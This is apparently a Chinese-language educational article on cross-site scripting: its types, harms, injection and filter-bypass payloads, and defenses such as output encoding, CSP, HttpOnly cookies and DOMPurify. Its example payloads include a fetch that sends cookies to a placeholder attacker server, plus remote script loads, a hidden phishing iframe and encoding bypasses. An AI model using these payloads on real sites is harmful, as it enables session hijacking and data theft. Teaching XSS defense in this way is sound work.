核心结论:XSS(Cross-Site Scripting)攻击是一种常见的 Web 安全漏洞,攻击者通过在目标网站注入恶意 JavaScript 代码,当用户访问被注入的页面时,恶意代码会在用户浏览器中执行,从而实现窃取用户信息、伪造用户操作、劫持会话等恶意目的。其本质是网站对用户输入的内容过滤不严格,导致恶意脚本被当作正常内容渲染执行。
一、XSS 攻击的核心原理
- 攻击者寻找输入点:目标网站存在未过滤 / 过滤不严格的用户输入场景(如评论区、搜索框、URL 参数、表单提交等)。
- 注入恶意脚本:攻击者将精心构造的恶意 JavaScript 代码(如
<script>alert('XSS')</script>)提交到输入点,网站未做有效处理,将恶意脚本存储到数据库或直接返回给页面。 - 用户触发执行:其他用户访问包含恶意脚本的页面时,浏览器会将注入的脚本当作正常代码解析执行,攻击者借此获取用户的 Cookie、Token 等敏感信息,或冒充用户操作。
二、XSS 攻击的分类(按触发方式)
根据恶意脚本的注入和执行方式,XSS 攻击主要分为 3 类:
1. 存储型 XSS(持久型 XSS)—— 危害最大
- 攻击流程
- 攻击者将恶意脚本注入到目标网站的数据库中(如评论区、用户资料、文章内容);
- 所有访问该页面的用户,浏览器都会从数据库加载恶意脚本并执行。
- 典型场景:论坛评论、博客留言、用户个人签名、电商商品评价。
- 危害:影响范围广,一旦注入成功,所有访问该页面的用户都会受到攻击,可批量窃取用户信息、传播恶意代码。
- 示例:攻击者在评论区输入
<script>fetch('http://攻击者服务器/steal?cookie='+document.cookie)</script>,网站未过滤直接存储,其他用户查看评论时,Cookie 会被发送到攻击者服务器。
2. 反射型 XSS(非持久型 XSS)—— 最常见
- 攻击流程
- 攻击者构造包含恶意脚本的URL 链接(如
http://目标网站/search?keyword=<script>alert(1)</script>); - 诱导用户点击该链接,目标网站将 URL 参数中的恶意脚本反射回页面响应中;
- 用户浏览器解析执行恶意脚本。
- 攻击者构造包含恶意脚本的URL 链接(如
- 典型场景:搜索框、URL 参数传递、表单 GET 请求提交。
- 特点:恶意脚本不存储在目标网站数据库,仅在单次请求中生效,需诱导用户点击恶意链接才能触发。
- 示例:网站搜索功能直接将 URL 的
keyword参数拼接到页面中,未做处理:<!-- 网站后端返回的页面代码 --> <div>搜索结果:<script>alert(1)</script></div>
3. DOM 型 XSS—— 基于前端 DOM 操作的漏洞
- 攻击流程
- 攻击者构造包含恶意脚本的 URL,或在输入框中提交恶意内容;
- 目标网站的前端 JavaScript直接使用 DOM 操作(如
innerHTML、document.write)将用户输入的内容插入到页面中,未做过滤; - 恶意脚本在前端执行,无需经过后端服务器。
- 核心区别:存储型和反射型 XSS 的恶意脚本会经过后端服务器,而 DOM 型 XSS 完全发生在前端,后端服务器对恶意脚本无感知。
- 典型场景:前端通过
location.href、location.search获取 URL 参数,再通过innerHTML渲染到页面;评论区前端即时渲染内容。 - 示例:前端代码存在以下漏洞:
攻击者构造 URL:// 从URL参数中获取keyword并渲染到页面 const keyword = decodeURIComponent(location.search.split('=')[1]); document.getElementById('search-result').innerHTML = `您搜索的内容:${keyword}`;http://目标网站/?keyword=<script>stealCookie()</script>,恶意脚本会被innerHTML渲染执行。
三、XSS 攻击的常见危害
- 窃取敏感信息:窃取用户 Cookie、Session Token、LocalStorage 数据,冒充用户登录网站,获取个人信息、权限。
- 伪造用户操作:模拟用户点击按钮、提交表单,实现发帖、转账、修改密码等恶意操作。
- 劫持用户会话:通过窃取的 Session Token 接管用户会话,完全控制用户账号。
- 传播恶意代码:诱导用户下载恶意软件、安装病毒,或发起钓鱼攻击。
- 破坏网站页面:注入恶意脚本篡改页面内容、插入广告、破坏页面布局。
四、XSS 攻击的常见注入方式
攻击者会通过多种方式构造恶意脚本,绕过简单的过滤规则,常见注入形式包括:
- 基础脚本注入
<script>alert('XSS')</script> <script src="http://攻击者服务器/malicious.js"></script> - 事件触发注入(绕过
<script>标签过滤)<img src=x onerror=alert('XSS')> <!-- 图片加载失败触发onerror事件 --> <a href=javascript:alert('XSS')>点击</a> <!-- 伪协议执行脚本 --> <div onmouseover=alert('XSS')>悬浮触发</div> - HTML 标签注入
<iframe src="http://攻击者钓鱼网站" width=0 height=0></iframe> <!-- 嵌入隐藏钓鱼页面 --> <svg onload=alert('XSS')> <!-- SVG标签支持事件 --> - 编码绕过(针对简单过滤的网站)
- 使用 HTML 实体编码:
<script>→<script>(部分网站解码后执行) - 使用 JavaScript 编码:
alert('XSS')→\x61\x6c\x65\x72\x74('XSS') - URL 编码:
javascript:alert(1)→javascript%3Aalert%281%29
- 使用 HTML 实体编码:
五、XSS 攻击的防御方案(核心原则:输入过滤、输出编码)
防御 XSS 的核心思路是不信任任何用户输入,对用户输入的内容进行严格过滤和编码,确保恶意脚本无法被浏览器解析执行。
1. 核心防御手段:输出编码(最有效)
对用户输入的内容在渲染到页面之前进行编码,将特殊字符转换为 HTML 实体,使浏览器将其当作文本而非代码执行。
| 特殊字符 | 原始值 | HTML 实体编码 |
|---|---|---|
| 小于号 | < | < |
| 大于号 | > | > |
| 引号 | " | " |
| 单引号 | ' | ' |
| 与号 | & | & |
- 前端编码实现:
// 简单的编码函数 function htmlEncode(str) { return str.replace(/[&<>"']/g, (match) => { const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return map[match]; }); } // 错误用法:使用innerHTML document.getElementById('content').innerHTML = htmlEncode(userInput); // 更安全的用法:使用textContent(自动编码,不会解析HTML) document.getElementById('content').textContent = userInput; - 后端编码实现:主流后端框架均内置编码工具
- Java:
org.springframework.web.util.HtmlUtils.htmlEscape(userInput) - PHP:
htmlspecialchars(userInput, ENT_QUOTES, 'UTF-8') - Node.js:
he.encode(userInput)(需安装he库)
- Java:
2. 输入过滤(白名单 / 黑名单)
- 白名单过滤:只允许用户输入指定的字符或标签(推荐)
- 例如:评论区只允许
<b>、<i>、<u>等安全标签,过滤所有其他标签。 - 实现工具:使用成熟的 HTML 净化库,如
DOMPurify(前端 / Node.js)、jsoup(Java)。
// 前端使用DOMPurify净化用户输入 import DOMPurify from 'dompurify'; const cleanHtml = DOMPurify.sanitize(userInput); document.getElementById('comment').innerHTML = cleanHtml; - 例如:评论区只允许
- 黑名单过滤:禁止用户输入
<script>、onerror、javascript:等敏感关键词(不推荐,易被绕过)- 缺点:攻击者可通过变形关键词绕过(如
<scr<script>ipt>、ONERROR)。
- 缺点:攻击者可通过变形关键词绕过(如
3. 针对不同类型 XSS 的专项防御
| XSS 类型 | 专项防御措施 |
|---|---|
| 存储型 XSS | 1. 后端对用户输入的所有内容进行编码 / 过滤后再存入数据库;2. 前端渲染时再次编码;3. 定期扫描数据库中的恶意内容。 |
| 反射型 XSS | 1. 对 URL 参数、表单 GET 请求参数进行严格编码;2. 避免将用户输入直接拼接到页面响应中;3. 设置Referer校验,限制请求来源。 |
| DOM 型 XSS | 1. 避免使用innerHTML、document.write等危险 API,优先使用textContent;2. 对从 URL、LocalStorage 获取的数据进行编码后再渲染;3. 使用DOMPurify净化动态插入的 HTML。 |
4. 辅助防御手段
(1)设置 HttpOnly 和 Secure Cookie 属性
HttpOnly:禁止 JavaScript 读取 Cookie,即使页面存在 XSS 漏洞,攻击者也无法通过document.cookie窃取 Cookie。Secure:Cookie 仅在 HTTPS 协议下传输,防止被中间人劫持。- 配置示例(后端):
Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict - 补充:
SameSite=Strict/Lax可防止 Cookie 被跨站请求携带,进一步降低 CSRF+XSS 组合攻击风险。
(2)使用 CSP(内容安全策略)—— 最强防御之一
CSP 是一种安全策略,通过 HTTP 响应头限制页面可以加载的资源(如脚本、样式、图片),禁止执行未授权的脚本。
- 核心作用:即使攻击者注入了恶意脚本,CSP 也会阻止其执行。
- 配置示例:
# 只允许加载本站的脚本和样式,禁止内联脚本和eval Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'default-src 'self':默认只允许本站资源;script-src 'self':只允许执行本站的脚本;- 禁止
unsafe-inline(内联脚本)、unsafe-eval(eval 函数)。
- 特点:兼容性好,主流浏览器均支持,可通过后端配置或
<meta>标签设置。
(3)避免使用危险的 DOM API
以下 API 会解析 HTML 代码,容易触发 XSS,应尽量避免使用:
innerHTML、outerHTMLdocument.write、document.writelneval()、setTimeout("字符串")、setInterval("字符串")- 替代方案:
- 文本渲染用
textContent; - 动态创建元素用
document.createElement:// 安全的动态创建元素 const div = document.createElement('div'); div.textContent = userInput; // 不会解析HTML document.body.appendChild(div);
- 文本渲染用
六、XSS 漏洞的检测方法
1. 手动检测
- 输入点测试:在所有用户输入点(搜索框、评论区、URL 参数)输入测试脚本,如
<script>alert(1)</script>、<img src=x onerror=alert(1)>,观察页面是否执行弹窗。 - DOM 型测试:修改 URL 参数,测试前端是否直接渲染参数内容,如
http://目标网站/?param=<svg onload=alert(1)>。
2. 工具检测
- 自动化扫描工具:OWASP ZAP、Burp Suite、Nessus,可自动爬取网站并检测 XSS 漏洞。
- 前端检测工具:
xss-filters(Node.js)、CSP Evaluator(浏览器插件,检测 CSP 配置是否合理)。
七、常见误区与防御总结
1. 防御误区
- 误区 1:仅用黑名单过滤敏感标签(如
<script>),忽略事件属性(如onerror)和伪协议(如javascript:)。 - 误区 2:仅在前端过滤,后端未处理(攻击者可绕过前端直接向后端提交恶意数据)。
- 误区 3:认为 HTTPS 可以防御 XSS(HTTPS 仅保障传输安全,无法阻止脚本注入和执行)。
2. 防御总结
| 防御层级 | 核心措施 |
|---|---|
| 后端(核心) | 1. 所有用户输入进行编码 / 过滤后存储;2. 设置 HttpOnly/Secure/SameSite Cookie;3. 配置 CSP 响应头。 |
| 前端(辅助) | 1. 优先使用textContent而非innerHTML;2. 使用DOMPurify净化 HTML;3. 避免使用eval等危险 API。 |
| 运维 / 测试 | 1. 定期用自动化工具扫描漏洞;2. 制定安全开发规范,对开发人员进行安全培训。 |
XSS 攻击的防御是一个系统性工程,需结合输入过滤、输出编码、CSP 策略、Cookie 保护等多层防护,同时遵循 “不信任任何用户输入” 的原则,才能有效抵御各类 XSS 漏洞。